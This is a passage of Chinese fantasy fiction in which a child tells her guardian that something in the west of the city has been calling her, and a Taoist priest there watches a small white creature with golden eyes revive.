倾倾点了点头,从袖子里掏出一片皱巴巴的叶子,举到萧瑾慕面前,“给你。”
萧瑾慕低头看。
就是一片普通得不能再普通的叶子,边缘还有点破。
“为什么给我?”
倾倾歪着脑袋想了想:“因为它好看。”
萧瑾慕接过叶子,放在桌上。
“明天还去?”
倾倾点点头:“去。”
她顿了顿,忽然问:“萧瑾慕,城西那边,有什么呀?”
“怎么问这个?”
倾倾摇摇头:“不知道。就今天下午,好像有什么东西,在那边喊我。”
她指着窗外,城西的方向。
萧瑾慕沉默了一会儿,问:“喊你什么?”
倾倾皱着小眉头,努力回忆:“不知道。听不清。就是喊我。喊了很久。”
她抬起头,看着萧瑾慕:“它是不是饿了?”
萧瑾慕没回答。
他只是伸手,把她头发上的小叶子摘掉。
“想去看看吗?”
倾倾眨眨眼:“可以吗?”
“好。”
——
城西,道观。
炉火还燃着,映得屋里暖烘烘的。
道长坐在炉边,看着窝里的那只小白团子。
送来三天了。
刚来的时候,已经没脉了。他把它放在一边,没顾上管。
第二天早上,它胸口动了。
一下。
就一下。
他以为是看错了。
第三天,它动了三下。
今天,它睁开眼睛了。
金色的。
很小,很亮。